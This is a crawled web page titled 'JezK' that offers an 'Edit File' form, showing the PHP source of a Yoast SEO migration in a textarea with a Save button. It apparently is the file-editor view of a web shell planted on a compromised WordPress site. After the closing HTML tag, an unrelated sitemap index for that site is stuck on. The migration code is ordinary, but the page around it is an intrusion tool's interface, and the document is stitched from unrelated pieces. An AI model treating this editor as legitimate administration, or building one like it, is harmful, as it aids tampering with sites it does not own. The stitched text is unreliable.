
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: 20200420073606_AddColumnsToIndexables.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddColumnsToIndexables.
 */
class AddColumnsToIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = &#039;free&#039;;

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$tables  = $this-&gt;get_tables();
		$blog_id = \get_current_blog_id();
		foreach ( $tables as $table ) {
			$this-&gt;add_column(
				$table,
				&#039;blog_id&#039;,
				&#039;biginteger&#039;,
				[
					&#039;null&#039;    =&gt; false,
					&#039;limit&#039;   =&gt; 20,
					&#039;default&#039; =&gt; $blog_id,
				]
			);
		}

		$attr_limit_32 = [
			&#039;null&#039;  =&gt; true,
			&#039;limit&#039; =&gt; 32,
		];
		$attr_limit_64 = [
			&#039;null&#039;  =&gt; true,
			&#039;limit&#039; =&gt; 64,
		];

		$indexable_table = $this-&gt;get_indexable_table();
		$this-&gt;add_column( $indexable_table, &#039;language&#039;, &#039;string&#039;, $attr_limit_32 );
		$this-&gt;add_column( $indexable_table, &#039;region&#039;, &#039;string&#039;, $attr_limit_32 );
		$this-&gt;add_column( $indexable_table, &#039;schema_page_type&#039;, &#039;string&#039;, $attr_limit_64 );
		$this-&gt;add_column( $indexable_table, &#039;schema_article_type&#039;, &#039;string&#039;, $attr_limit_64 );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$tables = $this-&gt;get_tables();
		foreach ( $tables as $table ) {
			$this-&gt;remove_column( $table, &#039;blog_id&#039; );
		}

		$indexable_table = $this-&gt;get_indexable_table();
		$this-&gt;remove_column( $indexable_table, &#039;language&#039; );
		$this-&gt;remove_column( $indexable_table, &#039;region&#039; );
		$this-&gt;remove_column( $indexable_table, &#039;schema_page_type&#039; );
		$this-&gt;remove_column( $indexable_table, &#039;schema_article_type&#039; );
	}

	/**
	 * Retrieves the Indexable table.
	 *
	 * @return string The Indexable table name.
	 */
	protected function get_indexable_table() {
		return Model::get_table_name( &#039;Indexable&#039; );
	}

	/**
	 * Retrieves the table names to use.
	 *
	 * @return string[] The table names to use.
	 */
	protected function get_tables() {
		return [
			$this-&gt;get_indexable_table(),
			Model::get_table_name( &#039;Indexable_Hierarchy&#039; ),
			Model::get_table_name( &#039;Primary_Term&#039; ),
		];
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
